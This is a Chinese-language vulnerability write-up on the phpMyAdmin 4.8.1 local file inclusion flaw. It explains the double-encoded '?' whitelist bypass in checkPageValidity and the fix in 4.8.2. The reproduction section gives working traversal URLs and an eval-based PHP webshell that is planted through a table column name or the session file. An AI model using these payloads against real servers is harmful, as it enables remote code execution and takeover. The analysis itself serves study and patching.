内容简介:6月下旬,chamd5团队公开了phpmyadmin4.8的LFI漏洞(须登录),可导致RCE,使用url双重编码绕过限制进行文件包含,再包含session文件或数据库表frm文件即可RCE。环境:win7+xampp+phpmyadmin4.8.1Payload:
0x00 概述
6月下旬,chamd5团队公开了phpmyadmin4.8的LFI漏洞(须登录),可导致RCE,使用url双重编码绕过限制进行文件包含,再包含session文件或数据库表frm文件即可RCE。
0x01 漏洞重现
环境:win7+xampp+phpmyadmin4.8.1
Payload:
成功包含system.ini。
进入下一阶段:命令执行
方式一:包含frm
先查看data文件路径:show variables like ‘%datadir%’;
在test库中新建pmatest1表,其中一个字段名设置成<?php @eval($_GET[‘lsa’]);?>
再包含mysql/data/test/pmatest1.frm即可rce,
payload:
http://127.0.0.1:8888/phpmyadmin481/index.php?lsa=phpinfo();&target=export.php%25%33%66/../../../../../../../../../../xampp/mysql/data/test/pmatest1.frm
方式二:包含sess文件
利用 php 用文件存session的特性,在phpmyadmin里的操作都记录在sess_pmavalue中,该文件保存的路径视情况而定:
xmapp中保存在
xampp/tmp/sess_pmavalue
phpstudy:
/phpstudy/PHPTutorial/tmp/tmp
wamp:
/wamp64/tmp
在 Linux 下,常见的文件路径为: /var/lib/php/session/
在phpmyadmin中执行查询
SELECT ‘<?php @eval($_GET[lsa]); exit();?>’
被记录在sess_pmavalue中
//因为export.php%3f当成了目录,所以要多一个../
/*使用绝对路径也可以,如:
*/
//不知为何用写入$_POST包含就会跳转首页……
0x02 漏洞分析
漏洞文件:
.\index.php:55
// If we have a valid target, let's load that script instead if (! empty($_REQUEST['target']) && is_string($_REQUEST['target']) && ! preg_match('/^index/', $_REQUEST['target']) && ! in_array($_REQUEST['target'], $target_blacklist) && Core::checkPageValidity($_REQUEST['target']) ) { include $_REQUEST['target']; exit; }
target符合4个条件就会includ
1. 是字符串
2. 不以index开头
3. 不在 $target_blacklist名单里
4. 符合checkPageValidity函数要求
找checkPageValidity函数:
libraries\classes\Core.php:443
public static function checkPageValidity(&$page, array $whitelist = []) { if (empty($whitelist)) { $whitelist = self::$goto_whitelist; } if (! isset($page) || !is_string($page)) { return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } return false; }
需要返回true,三个if有一个满足true就ok了,都需要满足whitelist:
class Core { /** * the whitelist for goto parameter * @static array $goto_whitelist */ public static $goto_whitelist = array( 'db_datadict.php', 'db_sql.php', 'db_events.php', 'db_export.php', 'db_importdocsql.php', 'db_multi_table_query.php', 'db_structure.php', 'db_import.php', 'db_operations.php', 'db_search.php', 'db_routines.php', 'export.php', 'import.php', 'index.php', 'pdf_pages.php', 'pdf_schema.php', 'server_binlog.php', 'server_collations.php', 'server_databases.php', 'server_engines.php', 'server_export.php', 'server_import.php', 'server_privileges.php', 'server_sql.php', 'server_status.php', 'server_status_advisor.php', 'server_status_monitor.php', 'server_status_queries.php', 'server_status_variables.php', 'server_variables.php', 'sql.php', 'tbl_addfield.php', 'tbl_change.php', 'tbl_create.php', 'tbl_import.php', 'tbl_indexes.php', 'tbl_sql.php', 'tbl_export.php', 'tbl_operations.php', 'tbl_structure.php', 'tbl_relation.php', 'tbl_replace.php', 'tbl_row_action.php', 'tbl_select.php', 'tbl_zoom_select.php', 'transformation_overview.php', 'transformation_wrapper.php', 'user_password.php', );
这里随意选一个就可以,如export.php(构造完payload就不在blacklist里了)
第一个if:
if (in_array($page, $whitelist)) {
return true;
}
没希望。
第二个if:
$_page = mb_substr(
$page,
0,
mb_strpos($page . ‘?’, ‘?’)
);
if (in_array($_page, $whitelist)) {
return true;
}
mb_strpos:返回string0在string1中首次出现的位置
mb_substr:提取string从0到x个长度的字符(串)
所以可以尝试:
explort.php?/../../../../../../ windows/system.ini
但是在win下?后会被当成参数无法跨目录。
第三个if:
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . ‘?’, ‘?’)
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
就比第二个if多了urldecode($page)就出问题了。
将?双重编码( %25%33%66或%253f )即可返回true。
因为$_REQUEST自动解码一次,变成%3f,再经过urldecode一次变成?。
include $_REQUEST[‘target’];
就变成
include ‘ export.php%3f/../../../../../../../../../windows/system.ini ’
0x03 修复方案
升级到4.8.2
修复代码:
Index.php:59
Core::checkPageValidity($_REQUEST[‘target’], [], true)
传了个true,在看看这个函数
libraries\classes\Core.php:444
public static function checkPageValidity(&$page, array $whitelist = [], $include = false) { if (empty($whitelist)) { $whitelist = self::$goto_whitelist; } if (! isset($page) || !is_string($page)) { return false; } if (in_array($page, $whitelist)) { return true; } if ($include) { return false; }
直接返回false无法包含了……
0x04 结语
又多了一种phpmyadmin的漏洞利用方法,不只限于select日志或into outfile了。
0x05 参考资料
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。